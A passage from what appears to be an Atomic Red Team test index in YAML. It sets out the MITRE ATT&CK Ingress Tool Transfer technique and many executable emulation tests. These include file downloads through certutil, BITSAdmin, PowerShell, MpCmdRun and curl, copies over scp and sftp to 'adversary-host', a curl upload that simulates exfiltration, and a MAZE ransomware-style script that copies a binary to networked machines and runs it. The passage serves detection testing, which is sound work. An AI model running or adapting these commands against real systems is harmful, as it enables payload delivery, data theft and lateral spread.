        name: command_prompt
    - name: Malicious User Agents - Nix
      auto_generated_guid: 2d7c471a-e887-4b78-b0dc-b0df1f2e0658
      description: |
        This test simulates an infected host beaconing to command and control.
        Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
      supported_platforms:
      - linux
      - macos
      input_arguments:
        domain:
          description: Default domain to simulate against
          type: string
          default: www.google.com
      executor:
        command: |
          curl -s -A "HttpBrowser/1.0" -m3 #{domain}
          curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain}
          curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain}
          curl -s -A "*<|>*" -m3 #{domain}
        name: sh
  T1105:
    technique:
      modified: '2024-04-11T15:08:01.731Z'
      name: Ingress Tool Transfer
      description: "Adversaries may transfer tools or other files from an external
        system into a compromised environment. Tools or files may be copied from an
        external adversary-controlled system to the victim network through the command
        and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095).
        Once present, adversaries may also transfer/spread tools between victim devices
        within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)).
        \n\nOn Windows, adversaries may use various utilities to download tools, such
        as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160),
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such
        as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>.
        On Linux and macOS systems, a variety of utilities also exist, such as `curl`,
        `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)\n\nAdversaries
        may also abuse installers and package managers, such as `yum` or `winget`,
        to download tools to victim hosts. Adversaries have also abused file application
        features, such as the Windows `search-ms` protocol handler, to deliver malicious
        files to victims through remote file searches invoked by [User Execution](https://attack.mitre.org/techniques/T1204)
        (typically after interacting with [Phishing](https://attack.mitre.org/techniques/T1566)
        lures).(Citation: T1105: Trellix_search-ms)\n\nFiles can also be transferred
        using various [Web Service](https://attack.mitre.org/techniques/T1102)s as
        well as native or otherwise present tools on the victim system.(Citation:
        PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage
        services that sync between a web-based and an on-premises client, such as
        Dropbox or OneDrive, to transfer files onto victim systems. For example, by
        compromising a cloud account and logging into the service's web portal, an
        adversary may be able to trigger an automatic syncing process that transfers
        the file onto the victim's machine.(Citation: Dropbox Malware Sync)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_contributors:
      - John Page (aka hyp3rlinx), ApparitionSec
      - Mark Wee
      - Shailesh Tiwary (Indian Army)
      - The DFIR Report
      - Alain Homewood
      - Joe Wise
      - Jeremy Hedges
      - Selena Larson, @selenalarson
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.

        Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows <code>netsh interface portproxy</code> modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      type: attack-pattern
      id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add
      created: '2017-05-31T21:31:16.408Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1105
        external_id: T1105
      - source_name: 'T1105: Trellix_search-ms'
        description: ' Mathanraj Thangaraju, Sijo Jacob. (2023, July 26). Beyond File
          Search: A Novel Method for Exploiting the "search-ms" URI Protocol Handler.
          Retrieved March 15, 2024.'
        url: https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/
      - source_name: Dropbox Malware Sync
        description: David Talbot. (2013, August 21). Dropbox and Similar Services
          Can Sync Malware. Retrieved May 31, 2023.
        url: https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: t1105_lolbas
        description: LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.
        url: https://lolbas-project.github.io/#t1105
      - source_name: PTSecurity Cobalt Dec 2016
        description: Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved
          October 9, 2018.
        url: https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1105
    atomic_tests:
    - name: rsync remote file copy (push)
      auto_generated_guid: 0fc6e977-cb12-44f6-b263-2824ba917409
      description: 'Utilize rsync to perform a remote file copy (push)

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_path:
          description: Remote path to receive rsync
          type: path
          default: "/tmp/victim-files"
        remote_host:
          description: Remote host to copy toward
          type: string
          default: victim-host
        local_path:
          description: Path of folder to copy
          type: path
          default: "/tmp/adversary-rsync/"
        username:
          description: User account to authenticate on remote host
          type: string
          default: victim
      dependency_executor_name: sh
      dependencies:
      - description: "rsync must be installed on the machine \n"
        prereq_command: 'if [ -x "$(command -v rsync)" ]; then exit 0; else exit 1;
          fi

          '
        get_prereq_command: "(pkg install -y rsync)||(sudo apt-get -y install rsync)\n"
      executor:
        command: 'rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}

          '
        name: sh
        elevation_required: true
    - name: rsync remote file copy (pull)
      auto_generated_guid: 3180f7d5-52c0-4493-9ea0-e3431a84773f
      description: 'Utilize rsync to perform a remote file copy (pull)

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_path:
          description: Path of folder to copy
          type: path
          default: "/tmp/adversary-rsync/"
        remote_host:
          description: Remote host to copy from
          type: string
          default: adversary-host
        local_path:
          description: Local path to receive rsync
          type: path
          default: "/tmp/victim-files"
        username:
          description: User account to authenticate on remote host
          type: string
          default: adversary
      dependency_executor_name: sh
      dependencies:
      - description: "rsync must be installed on the machine \n"
        prereq_command: 'if [ -x "$(command -v rsync)" ]; then exit 0; else exit 1;
          fi

          '
        get_prereq_command: "(pkg install -y rsync)||(sudo apt-get -y install rsync)\n"
      executor:
        command: 'rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}

          '
        name: sh
    - name: scp remote file copy (push)
      auto_generated_guid: 83a49600-222b-4866-80a0-37736ad29344
      description: 'Utilize scp to perform a remote file copy (push)

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_path:
          description: Remote path to receive scp
          type: path
          default: "/tmp/victim-files/"
        local_file:
          description: Path of file to copy
          type: path
          default: "/tmp/adversary-scp"
        remote_host:
          description: Remote host to copy toward
          type: string
          default: victim-host
        username:
          description: User account to authenticate on remote host
          type: string
          default: victim
      executor:
        command: 'scp #{local_file} #{username}@#{remote_host}:#{remote_path}

          '
        name: sh
    - name: scp remote file copy (pull)
      auto_generated_guid: b9d22b9a-9778-4426-abf0-568ea64e9c33
      description: 'Utilize scp to perform a remote file copy (pull)

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_host:
          description: Remote host to copy from
          type: string
          default: adversary-host
        local_path:
          description: Local path to receive scp
          type: path
          default: "/tmp/victim-files/"
        remote_file:
          description: Path of file to copy
          type: path
          default: "/tmp/adversary-scp"
        username:
          description: User account to authenticate on remote host
          type: string
          default: adversary
      executor:
        command: 'scp #{username}@#{remote_host}:#{remote_file} #{local_path}

          '
        name: sh
    - name: sftp remote file copy (push)
      auto_generated_guid: f564c297-7978-4aa9-b37a-d90477feea4e
      description: 'Utilize sftp to perform a remote file copy (push)

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_path:
          description: Remote path to receive sftp
          type: path
          default: "/tmp/victim-files/"
        local_file:
          description: Path of file to copy
          type: path
          default: "/tmp/adversary-sftp"
        remote_host:
          description: Remote host to copy toward
          type: string
          default: victim-host
        username:
          description: User account to authenticate on remote host
          type: string
          default: victim
      executor:
        command: 'sftp #{username}@#{remote_host}:#{remote_path} <<< $''put #{local_file}''

          '
        name: sh
    - name: sftp remote file copy (pull)
      auto_generated_guid: '0139dba1-f391-405e-a4f5-f3989f2c88ef'
      description: 'Utilize sftp to perform a remote file copy (pull)

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_host:
          description: Remote host to copy from
          type: string
          default: adversary-host
        local_path:
          description: Local path to receive sftp
          type: path
          default: "/tmp/victim-files/"
        remote_file:
          description: Path of file to copy
          type: path
          default: "/tmp/adversary-sftp"
        username:
          description: User account to authenticate on remote host
          type: string
          default: adversary
      executor:
        command: 'sftp #{username}@#{remote_host}:#{remote_file} #{local_path}

          '
        name: sh
    - name: certutil download (urlcache)
      auto_generated_guid: dd3b61dd-7bbc-48cd-ab51-49ad1a776df0
      description: 'Use certutil -urlcache argument to download a file from the web.
        Note - /urlcache also works!

        '
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to copy
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        local_path:
          description: Local path to place file
          type: path
          default: Atomic-license.txt
      executor:
        command: 'cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}

          '
        cleanup_command: 'del #{local_path} >nul 2>&1

          '
        name: command_prompt
    - name: certutil download (verifyctl)
      auto_generated_guid: ffd492e3-0455-4518-9fb1-46527c9f241b
      description: 'Use certutil -verifyctl argument to download a file from the web.
        Note - /verifyctl also works!

        '
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to copy
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        local_path:
          description: Local path to place file
          type: path
          default: Atomic-license.txt
      executor:
        command: |
          $datePath = "certutil-$(Get-Date -format yyyy_MM_dd)"
          New-Item -Path $datePath -ItemType Directory
          Set-Location $datePath
          certutil -verifyctl -split -f #{remote_file}
          Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }
        cleanup_command: 'Remove-Item "certutil-$(Get-Date -format yyyy_MM_dd)" -Force
          -Recurse -ErrorAction Ignore

          '
        name: powershell
    - name: Windows - BITSAdmin BITS Download
      auto_generated_guid: a1921cd3-9a2d-47d5-a891-f1d0f2a7a31b
      description: |
        This test uses BITSAdmin.exe to schedule a BITS job for the download of a file.
        This technique is used by Qbot malware to download payloads.
      supported_platforms:
      - windows
      input_arguments:
        bits_job_name:
          description: Name of the created BITS job
          type: string
          default: qcxjb7
        local_path:
          description: Local path to place file
          type: path
          default: "%temp%\\Atomic-license.txt"
        remote_file:
          description: URL of file to copy
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
      executor:
        command: 'C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority
          HIGH #{remote_file} #{local_path}

          '
        name: command_prompt
    - name: Windows - PowerShell Download
      auto_generated_guid: 42dc4460-9aa6-45d3-b1a6-3955d34e1fe8
      description: |
        This test uses PowerShell to download a payload.
        This technique is used by multiple adversaries and malware families.
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to copy
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        destination_path:
          description: Destination path to file
          type: path
          default: "$env:TEMP\\Atomic-license.txt"
      executor:
        command: '(New-Object System.Net.WebClient).DownloadFile("#{remote_file}",
          "#{destination_path}")

          '
        cleanup_command: 'Remove-Item #{destination_path} -Force -ErrorAction Ignore

          '
        name: powershell
    - name: OSTAP Worming Activity
      auto_generated_guid: 2ca61766-b456-4fcf-a35a-1233685e1cad
      description: 'OSTap copies itself in a specfic way to shares and secondary drives.
        This emulates the activity.

        '
      supported_platforms:
      - windows
      input_arguments:
        destination_path:
          description: Path to create remote file at. Default is local admin share.
          type: string
          default: "\\\\localhost\\C$"
      executor:
        command: |
          pushd #{destination_path}
          echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfile = fileObject.CreateTextFile("AtomicTestFileT1105.js", true);newfile.WriteLine("This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.");newfile.Close(); > AtomicTestT1105.js
          CScript.exe AtomicTestT1105.js //E:JScript
          del AtomicTestT1105.js /Q >nul 2>&1
          del AtomicTestFileT1105.js /Q >nul 2>&1
          popd
        name: command_prompt
        elevation_required: true
    - name: svchost writing a file to a UNC path
      auto_generated_guid: fa5a2759-41d7-4e13-a19c-e8f28a53566f
      description: |
        svchost.exe writing a non-Microsoft Office file to a file with a UNC path.
        Upon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\`, then execute svchost.exe with output to a txt file.
      supported_platforms:
      - windows
      executor:
        command: |
          copy C:\Windows\System32\cmd.exe C:\svchost.exe
          C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt
        cleanup_command: |
          del C:\T1105.txt >nul 2>&1
          del C:\\svchost.exe >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Download a File with Windows Defender MpCmdRun.exe
      auto_generated_guid: 815bef8b-bf91-4b67-be4c-abe4c2a94ccc
      description: |
        Uses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed).
        The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file.
        By default, the test downloads the Atomic Red Team license file to the temp directory.

        More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        local_path:
          description: Location to save downloaded file
          type: path
          default: "%temp%\\Atomic-license.txt"
      dependencies:
      - description: Must have a Windows Defender version with MpCmdRun.exe installed
        prereq_command: |
          cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
          MpCmdRun.exe /?  >nul 2>&1
        get_prereq_command: Echo "A version of Windows Defender with MpCmdRun.exe
          must be installed manually"
      executor:
        command: |
          cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
          MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}
        cleanup_command: |-
          del #{local_path} >nul 2>&1
          del %temp%\MpCmdRun.log >nul 2>&1
        name: command_prompt
    - name: whois file download
      auto_generated_guid: c99a829f-0bb8-4187-b2c6-d47d1df74cab
      description: 'Download a remote file using the whois utility

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_host:
          description: Remote hostname or IP address
          type: string
          default: localhost
        remote_port:
          description: Remote port to connect to
          type: integer
          default: 8443
        output_file:
          description: Path of file to save output to
          type: path
          default: "/tmp/T1105.whois.out"
        query:
          description: Query to send to remote server
          type: string
          default: Hello from Atomic Red Team test T1105
        timeout:
          description: Timeout period before ending process (seconds)
          type: integer
          default: 1
      dependencies:
      - description: 'The whois and timeout commands must be present

          '
        prereq_command: 'which whois && which timeout

          '
        get_prereq_command: 'echo "Please install timeout and the whois package"

          '
      executor:
        name: sh
        elevation_required: false
        command: 'timeout --preserve-status #{timeout} whois -h #{remote_host} -p
          #{remote_port} "#{query}" > #{output_file}

          '
        cleanup_command: 'rm -f #{output_file}

          '
    - name: File Download via PowerShell
      auto_generated_guid: 54a4daf1-71df-4383-9ba7-f1a295d8b6d2
      description: 'Use PowerShell to download and write an arbitrary file from the
        internet. Example is from the 2021 Threat Detection Report by Red Canary.

        '
      supported_platforms:
      - windows
      input_arguments:
        target_remote_file:
          description: File to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/4042cb3433bce024e304500dcfe3c5590571573a/LICENSE.txt
        output_file:
          description: File to write to
          type: string
          default: LICENSE.txt
      executor:
        command: "(New-Object Net.WebClient).DownloadString('#{target_remote_file}')
          | Out-File #{output_file}; Invoke-Item #{output_file}\n"
        name: powershell
    - name: File download with finger.exe on Windows
      auto_generated_guid: 5f507e45-8411-4f99-84e7-e38530c45d01
      description: |
        Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server.
        Because this is being tested on the localhost, you should not be expecting a successful connection
        https://www.exploit-db.com/exploits/48815
        https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/
      supported_platforms:
      - windows
      input_arguments:
        remote_host:
          description: Remote hostname or IP address
          type: string
          default: localhost
      executor:
        name: command_prompt
        command: 'finger base64_filedata@#{remote_host}

          '
    - name: Download a file with IMEWDBLD.exe
      auto_generated_guid: 1a02df58-09af-4064-a765-0babe1a0d1e2
      description: |
        Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file.
        Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>" or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>.
        Run "Get-ChildItem -Path C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include <FILENAME>* -Recurse -Force -File -ErrorAction SilentlyContinue" without quotes and adding the correct username and file name to locate the file.
      supported_platforms:
      - windows
      input_arguments:
        remote_url:
          description: Location of file to be downloaded.
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/T1105.yaml
        file_name:
          description: Name of the file to be downloaded without extension.
          type: string
          default: T1105
      executor:
        command: |
          $imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe"
          & $imewdbled #{remote_url}
        cleanup_command: "$inetcache = $env:LOCALAPPDATA + \"\\Microsoft\\Windows\\INetCache\\\"
          \n$file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include
          #{file_name}* -Recurse -Force -File -ErrorAction SilentlyContinue)\nif(\"\"
          -ne \"$file_to_be_removed\") { Remove-Item \"$file_to_be_removed\" -ErrorAction
          Ignore }\n"
        name: powershell
    - name: Curl Download File
      auto_generated_guid: 2b080b99-0deb-4d51-af0f-833d37c4ca6a
      description: |
        The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.
        Expected output will include whether the file downloaded successfully or not.
      supported_platforms:
      - windows
      input_arguments:
        file_download:
          description: File to download
          type: string
          default: https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll
        curl_path:
          description: path to curl.exe
          type: path
          default: C:\Windows\System32\Curl.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Curl must be installed on system.

          '
        prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"
          Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl"
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-7.79.1-win64-mingw\bin\curl.exe" C:\Windows\System32\Curl.exe
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl"
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"
      executor:
        command: |
          #{curl_path} -k #{file_download} -o c:\users\public\music\allthethingsx64.dll
          #{curl_path} -k #{file_download} --output c:\users\public\music\allthethingsx64.dll
          #{curl_path} -k #{file_download} -o c:\programdata\allthethingsx64.dll
          #{curl_path} -k #{file_download} -o %Temp%\allthethingsx64.dll
        cleanup_command: |
          del c:\users\public\music\allthethingsx64.dll >nul 2>&1
          del c:\users\public\music\allthethingsx64.dll >nul 2>&1
          del c:\programdata\allthethingsx64.dll >nul 2>&1
          del %Temp%\allthethingsx64.dll >nul 2>&1
        name: command_prompt
    - name: Curl Upload File
      auto_generated_guid: 635c9a38-6cbf-47dc-8615-3810bc1167cf
      description: |
        The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration
        Expected output will include whether the file uploaded successfully or not.
      supported_platforms:
      - windows
      input_arguments:
        curl_path:
          description: path to curl.exe
          type: path
          default: C:\Windows\System32\Curl.exe
        remote_destination:
          description: Remote destination
          type: string
          default: www.example.com
        file_path:
          description: File to upload
          type: string
          default: c:\temp\atomictestfile.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Curl must be installed on system.

          '
        prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile PathToAtomicsFolder\..\ExternalPayloads\curl.zip
          Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl"
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-7.79.1-win64-mingw\bin\curl.exe" C:\Windows\System32\Curl.exe
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl"
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"
      - description: 'A file must be created to upload

          '
        prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1}

          '
        get_prereq_command: 'echo "This is an Atomic Test File" > #{file_path}

          '
      executor:
        command: |
          #{curl_path} -T #{file_path} #{remote_destination}
          #{curl_path} --upload-file #{file_path} #{remote_destination}
          #{curl_path} -d #{file_path} #{remote_destination}
          #{curl_path} --data #{file_path} #{remote_destination}
        name: command_prompt
    - name: Download a file with Microsoft Connection Manager Auto-Download
      auto_generated_guid: d239772b-88e2-4a2e-8473-897503401bcc
      description: "Uses the cmdl32 to download arbitrary file from the internet.
        The cmdl32 package is allowed to install the profile used to launch the VPN
        connection. However, the config is modified to download the arbitary file.
        \nThe issue of cmdl32.exe detecting and deleting the payload by identifying
        it as not a VPN Servers profile is avoided by setting a temporary TMP folder
        and denying the delete permission to all files for the user.\nUpon successful
        execution the test will open calculator and Notepad executable for 10 seconds.\nreference:\nhttps://twitter.com/ElliotKillick/status/1455897435063074824\nhttps://github.com/LOLBAS-Project/LOLBAS/pull/151\nhttps://lolbas-project.github.io/lolbas/Binaries/Cmdl32/\nhttps://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html\n"
      supported_platforms:
      - windows
      input_arguments:
        Path_to_file:
          description: Path to the Batch script
          type: path
          default: PathToAtomicsFolder\T1105\src\T1105.bat
      dependency_executor_name: powershell
      dependencies:
      - description: "#{Path_to_file} must exist on system.\n"
        prereq_command: 'if (Test-Path "#{Path_to_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{Path_to_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.bat" -OutFile "#{Path_to_file}"
      executor:
        command: "\"#{Path_to_file}\" 1>NUL \n"
        cleanup_command: |
          del /f/s/q %temp%\T1105 >nul 2>&1
          rmdir /s/q %temp%\T1105 >nul 2>&1
        name: command_prompt
    - name: MAZE Propagation Script
      auto_generated_guid: 70f4d07c-5c3e-4d53-bb0a-cdf3ada14baf
      description: "This test simulates MAZE ransomware's propogation script that
        searches through a list of computers, tests connectivity to them, and copies
        a binary file to the Windows\\Temp directory of each one. \nUpon successful
        execution, a specified binary file will attempt to be copied to each online
        machine, a list of the online machines, as well as a list of offline machines
        will be output to a specified location.\nReference: https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html
        \n"
      supported_platforms:
      - windows
      input_arguments:
        binary_file:
          description: Binary file to copy to remote machines
          type: string
          default: "$env:comspec"
        exe_remote_folder:
          description: Path to store executable on remote machine (no drive letter)
          type: string
          default: "\\Windows\\Temp\\T1105.exe"
        remote_drive_letter:
          description: Remote drive letter
          type: string
          default: C
      dependency_executor_name: powershell
      dependencies:
      - description: 'Binary file must exist at specified location (#{binary_file})

          '
        prereq_command: 'if (Test-Path #{binary_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: 'write-host "The binary_file input parameter must be set
          to a binary that exists on this computer."

          '
      - description: 'Machine list must exist at specified location ("PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt")

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          new-item -path "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt" | Out-Null
          echo "A machine list file has been generated at "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt". Please enter the machines to target there, one machine per line."
      executor:
        command: "$machine_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105MachineList.txt\"\n$offline_list
          = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105OfflineHosts.txt\"\n$completed_list
          = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\"\nforeach
          ($machine in get-content -path \"$machine_list\")\n{if (test-connection
          -Count 1 -computername $machine -quiet) \n{cmd /c copy \"#{binary_file}\"
          \"\\\\$machine\\#{remote_drive_letter}$#{exe_remote_folder}\"\necho $machine
          >> \"$completed_list\"\nwmic /node: \"$machine\" process call create \"regsvr32.exe
          /i #{remote_drive_letter}:#{exe_remote_folder}\"}\nelse\n{echo $machine
          >> \"$offline_list\"}}\n"
        cleanup_command: "if (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\")
          \n{foreach ($machine in get-content -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\")\n{wmic
          /node: \"$machine\" process where name='\"regsvr32.exe\"' call terminate
          | out-null\nRemove-Item -path \"\\\\$machine\\#{remote_drive_letter}$#{exe_remote_folder}\"
          -force -erroraction silentlycontinue}}\nRemove-Item -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105OfflineHosts.txt\"
          -erroraction silentlycontinue\nRemove-item -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\"
          -erroraction silentlycontinue\n"
        name: powershell
    - name: Printer Migration Command-Line Tool UNC share folder into a zip file
      auto_generated_guid: 49845fc1-7961-4590-a0f0-3dbcf065ae7e
      description: 'Create a ZIP file from a folder in a remote drive

        '
      supported_platforms:
      - windows
      input_arguments:
        Path_unc:
          description: Path to the UNC folder
          type: path
          default: "\\\\127.0.0.1\\c$\\AtomicRedTeam\\atomics\\T1105\\src\\"
        Path_PrintBrm:
          description: Path to PrintBrm.exe
          type: path
          default: C:\Windows\System32\spool\tools\PrintBrm.exe
      executor:
        command: "del %TEMP%\\PrintBrm.zip >nul 2>&1 \n#{Path_PrintBrm} -b -d #{Path_unc}
          \ -f %TEMP%\\PrintBrm.zip -O FORCE\n"
        cleanup_command: 'del %TEMP%\PrintBrm.zip >nul 2>&1

          '
        name: command_prompt
    - name: Lolbas replace.exe use to copy file
      auto_generated_guid: 54782d65-12f0-47a5-b4c1-b70ee23de6df
      description: |
        Copy file.cab to destination
        Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/
      supported_platforms:
      - windows
      input_arguments:
        replace_cab:
          description: Path to the cab file
          type: path
          default: PathToAtomicsFolder\T1105\src\redcanary.cab
        Path_replace:
          description: Path to replace.exe
          type: path
          default: C:\Windows\System32\replace.exe
      dependency_executor_name: powershell
      dependencies:
      - description: "#{replace_cab} must exist on system.\n"
        prereq_command: 'if (Test-Path "#{replace_cab}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{replace_cab}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/redcanary.cab" -OutFile "#{replace_cab}"
      executor:
        command: |
          del %TEMP%\redcanary.cab >nul 2>&1
          #{Path_replace} "#{replace_cab}" %TEMP% /A
        cleanup_command: 'del %TEMP%\redcanary.cab >nul 2>&1

          '
        name: command_prompt
    - name: Lolbas replace.exe use to copy UNC file
      auto_generated_guid: ed0335ac-0354-400c-8148-f6151d20035a
      description: |
        Copy UNC file to destination
        Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/
      supported_platforms:
      - windows
      input_arguments:
        replace_cab:
          description: UNC Path to the cab file
